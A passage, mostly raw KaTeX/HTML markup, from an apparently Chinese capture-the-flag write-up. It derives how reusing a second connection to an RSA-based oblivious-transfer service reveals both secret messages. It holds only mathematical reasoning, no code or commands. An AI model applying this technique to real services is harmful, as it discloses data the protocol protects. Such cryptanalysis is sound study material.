style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，第二次生成的变量叫做<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msubsup><mi>x</mi><mn>0</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo separator="true">,</mo><msubsup><mi>x</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo separator="true">,</mo><mi>m</mi><mi>s</mi><msubsup><mi>g</mi><mn>0</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo separator="true">,</mo><mi>m</mi><mi>s</mi><msubsup><mi>g</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x_0&#x27;,x_1&#x27;,msg_0&#x27;,msg_1&#x27;)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.001892em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4518920000000004em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4518920000000004em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4518920000000004em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4518920000000004em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，我们第一次连接的时候，能够知道<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x_0,x_1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，输入的v为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">x_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，然后就能得到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mi>s</mi><msub><mi>g</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">msg_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>与<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi><mi>s</mi><msub><mi>g</mi><mn>1</mn></msub><mo>+</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">msg_1+(x_0-x_1)^dmodn</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7777700000000001em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">m</span><span class="mord mathdefault">s</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">g</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.099108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault">n</span></span></span></span>。<br>这里可以看到，我们的v取值为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">x_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，于是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">F(x_0,x_1)=(x_0-x_1)^dmodn</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.099108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault">n</span></span></span></span>。<br>这之后，我们不关闭这个连接，重新建立新的连接，此时能够得到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msubsup><mi>x</mi><mn>0</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>−</mo><msubsup><mi>x</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x_0&#x27;-x_1&#x27;)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.001892em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4518920000000004em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.001892em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4518920000000004em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，与此同时，我们知道在这一次，加密函数的写法变成了<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mo stretchy="false">(</mo><mi>v</mi><mo separator="true">,</mo><msubsup><mi>x</mi><mi>i</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mi>v</mi><mo>−</mo><msubsup><mi>x</mi><mi>i</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">F(v, x_i&#x27;)=(v-x_i&#x27;)^dmodn</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.010556em;vertical-align:-0.258664em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.441336em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.258664em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.107772em;vertical-align:-0.258664em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.441336em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.258664em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault">n</span></span></span></span>。第一次连接中我们需要推断的是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">(x_0-x_1)^dmodn</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1.099108em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.849108em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">d</span></span></span></span></span></span></span></span><span class="mord mathdefault">m</span><span class="mord mathdefault">o</span><span class="mord mathdefault">d</span><span class="mord mathdefault">n</span></span></span></span>，于是这里的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mi>i</mi></msub><mo>−</mo><mo>&gt;</mo><msub><mi>x</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">x_i-&gt;x_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.73333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">−</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。于是可以有如下推断</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>∵</mo><mi>F</mi><mo stretchy="false">(</mo><mi>v</mi><mo separator="true">,</mo><msubsup><mi>x</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mi>v</mi><mo>−</mo><msubsup><mi>x</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>n</mi><mspace linebreak="newline"></mspace><mo>∴</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>n</mi><mo>=</mo><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><mo>+</mo><msubsup><mi>x</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>−</mo><msubsup><mi>x</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><msup><mo stretchy="false">)</mo><mi>d</mi></msup><mi>m</mi><mi>o</mi><mi>d</mi><mi>n</mi><mo>=</mo><mi>F</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo>−</mo><msub><mi>x</mi><mn>1</mn></msub><mo>+</mo><msubsup><mi>x</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo separator="true">,</mo><msubsup><mi>x</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\because F(v,x_1&#x27;)=(v-x_1&#x27;)^dmodn \\\therefore (x_0-x_1)^dmodn = (x_0-x_1+x_1&#x27;-x_1&#x27;)^dmodn = F(x_0-x_1+x_1&#x27;, x_1&#x27;)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69224em;vertical-align:0em;"></span><span class="mrel amsrm">∵</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.051892em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.03588em;">v</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" 